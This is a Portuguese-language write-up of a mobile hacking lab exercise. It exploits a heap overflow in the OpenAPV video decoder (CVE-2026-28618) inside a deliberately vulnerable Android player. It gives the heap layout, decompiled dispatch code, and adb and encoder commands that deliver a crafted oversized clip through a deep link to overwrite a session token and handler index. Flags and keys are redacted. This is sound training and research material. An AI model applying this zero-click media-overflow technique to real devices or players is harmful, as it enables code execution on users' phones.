APV zero-click, em um player que reproduz automaticamente clipes compartilhados

CVE-2026-28618 no StreamBox — a mesma classe de decodificador OpenAPV da CVE-2026-0006, transformada em uma escrita no heap contra um objeto de sessão.

Este repositório é um writeup público e censurado: flags, tokens de instância e a chave HMAC foram omitidos. O APK e o make_clip.py pertencem ao Mobile Hacking Lab; eles não estão espelhados aqui.

Cadeia de ataque

O que resolvemos

O StreamBox é um pequeno player de APV. APV é o Advanced Professional Video (RFC 9924), o codec livre de royalties da Samsung, a mesma família que foi incluída na stack de mídia do Android. A proposta do lab é uma frase: o player reproduz clipes compartilhados na chegada.

SEND, VIEW ou streambox://play?url=… copia um arquivo para files/incoming.apv e NativeDec.loadClip() é executado.

O bug é a CVE-2026-28618: um heap buffer overflow em dec_frm_prepare do OpenAPV. Mesma classe de decodificador da CVE-2026-0006.

O lab empacota essa escrita como um jogo. Estoure o plano Y fixo de 64×64, destrua um objeto de sessão adjacente, redirecione o teardown para handlers[2], e o Worker devolve a flag.

O kit são dois zips do lab:

streambox-lab.apk.zip — o player
make_clip.py.zip — como os clipes da biblioteca 64×64 foram construídos, e o bitstream que você estoura

O player (AVD Android 14 x86_64 + ndk_translation)

A QEMU de system-image ARM64 do Android Studio é uma escolha ruim em um host x86-64. Este APK é arm64-v8a / minSdk 34. Um AVD x86_64 API 34 com libndk_translation.so (abilist=x86_64,arm64-v8a) o instala e executa.

Biblioteca do StreamBox no AVD

Sunset Drive em reprodução, 64×64, loadClip → 0

PlayerActivity faz:

NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);   // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity

loadClip retorna 1 (premium / session smash) ou 2 (win() já foi executado). openTier apenas navega pela UI.

POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

No boot, o app já fez POST /api/instance e NativeDec.setPlatinumToken(token). Esse token é o que o overflow precisa gravar na sessão.

Heap: 64×64 Y, depois a sessão

Plano Y de 0x2000 bytes, objeto de sessão logo em seguida, linhas FRAME extras transbordam para magic/token/handler

arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

O oapv_imgb_t é 64×64 fixo, YUV de 10 bits. O plano 0 (Y) começa em arena+0. 64 × 64 × 2 = 0x2000. A sessão é arena + 0x2000 + pad. pad é SB_SESS_PAD ou um nibble alinhado a 0x400 de rand() após srand(getpid()^time()). No AVD, o Sunset Drive registrou session-arena = 0x3800 (pad = 0x1800). O tile extra de 64×128 tem 0x2000 bytes, portanto ainda alcança a sessão para esses valores de pad.

oapvd_decode() grava na largura/altura do FRAME PBU. Um FRAME mais alto que 64 grava amostras de 10 bits diretamente em session.

Após o decode:

if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

sessionProof layout: smash magic, match token, handler index 2

make_clip.py é o caminho do clipe

O gerador do laboratório desenha 32 quadros de 64×64 RGB, converte para yuv422p10le e invoca o codificador de referência OpenAPV:

oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

Cada clipe incluído tem 32 unidades de acesso de FRAME 64×64:

[u32be au_size] ['aPv1' + PBUs] × 32

O player aloca 64×64. Os tiles APV são 64×64.

qemu-user (qemu-aarch64 + Android 10 linker64) e o AVD concordam:

Clip	qemu-user `streambox_load`	AVD `loadClip`
Clip de biblioteca 64×64	0	0 (`premium_hit=0`)
altura do cabeçalho 64→72	SIGABRT `oapvd_vlc_ac_coef`	SIGABRT, mesmo assert, processo morre (home após crash)
codificação real 64×128 (dois tiles, QP 0)	1	1 `premium_hit=1` → SESSION ANOMALY

python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

64×128 clipe compartilhado: ANOMALIA DE SESSÃO (overflow atingiu a sessão, incompatibilidade de token)

Uma segunda codificação, em malha fechada contra a reconstrução do codificador, insere o access token ativo e o handler 2 (a entrada Y≈4 é reconstruída como 2). Repita esse prefixo de 16 bytes por todo o plano Y de 64×128 para que o preenchimento não importe.

# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

No AVD:

gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

SESSION COMPROMISED — flag redacted; Worker released it from the smashed sessionProof

win() foi executado dentro de loadClip. openTier(2) apenas abriu PremiumActivity, que fez POST dessa prova.

Configuração para qemu-user (não o emulador ARM64 do Android Studio): veja os comentários em encode_overflow.py e o qemu-harness/README.md do laboratório.

PoC público relacionado para a classe de bug pai: mobilehackinglab/CVE-2026-0006-openapv-poc.

Prove the write

O urllib do Python recebe Cloudflare 1010. O curl com um UA móvel funciona.

O Worker rejeita o magic original com no overflow evidence: session magic intact. O ASCII STREAMBO (bytes diferentes do uint64 LE) conta como uma escrita.

Mais Populares

streambox-cve-2026-28618